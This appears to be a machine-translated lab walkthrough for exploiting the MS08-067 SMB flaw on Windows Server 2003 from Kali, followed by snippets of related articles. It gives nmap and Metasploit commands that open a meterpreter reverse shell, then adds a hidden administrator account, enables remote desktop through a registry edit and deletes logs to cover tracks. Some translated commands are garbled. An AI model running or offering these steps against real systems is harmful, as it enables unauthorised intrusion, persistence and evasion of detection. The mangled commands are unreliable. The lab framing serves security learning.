MS08-067 Vulnerability Utilization

Vulnerability introduction: If the user receives a special RPC request on the affected system, the vulnerability may allow remote execution code. At Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, attackers may run any code without authentication.
lab environment：
Kali : 192.168.228.128
Win sever 2003 : 192.168.228.131

Reclaim step

After using Nnessus to scan the target, it is found that there is a MS08-067 vulnerability.

Or use the NMAP scan to confirm that there is a vulnerability,nmap -n -p445 --script smb-vuln-ms08-067 192.168.0.116 --open (Here NMAP is 7.4))
Use the command MSFDB init to initialize the MSF framework:

Start the database:service postgresql start
Use the command:msconsole
Find a vulnerability script:search ms08-067
Use vulnerability scripturesuse exploit/windwos/smb/ms08_067_netapi
Set the attack load:set payload windows/meterpreter/reverse_tcp
Set target machine IPset rhost 192.168.228.131
Set an attacker IPset lhost 192.168.228.128
View target machine system type:show targets
Set the target machine system type:set target 10
Open attack Run (get a few after the rebound shell)
Go to Windows CMD mode

Randed resentment

Create User Net User Test 123 / Add

Proposal： net localgroup administrators test /add

Delete the original user group: NET localgroup users test / del

View User Net User Test

Intrusion
Open in the run: MSTSC, remote link target,

Log in to users who have created

Return to delete users

Delete log

If the target machine is closed, the remote service needs to be executed in the shell:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f

Intelligent Recommendation

Introduction and Exploitation of MS08-067 Vulnerability

The MS08-067 vulnerability will affect all Windows systems except Windows Server 2008 Core, including: various versions of Windows 2000/XP/Server 2003/Vista/Server 2008, and even Windows 7 Pro-Beta in...

ms08-067 vulnerability target machine configuration

This vulnerability of ms08-067 is one of the most basic vulnerabilities when we are learning msf. Many tutorials will mention this vulnerability, but this vulnerability is very picky about the reprodu...

MS08-067 vulnerability remote overflow intrusion test

The full name of the MS08-067 vulnerability is "Windows Server Service RPC Request Buffer Overflow Vulnerability." If a user receives a specially crafted RPC request on an affected system, t...

#windowsxpsp3 system MS08-067 vulnerability test

#windowsxpsp3 system MS08-067 vulnerability test Vulnerability description The full name of the MS08-067 vulnerability is "Windows Server Service RPC Request Buffer Overflow Vulnerability". ...

MS08-067 vulnerability penetration attack process

lab environment kali linux2.0 win-xp sp3 Steps 1. Execute in the Kali Linux command line 2. Query MS08067 Vulnerability 3. Using Exploit / Windows / SMB / MS08_067_Netapi and view Options 4. Using Pay...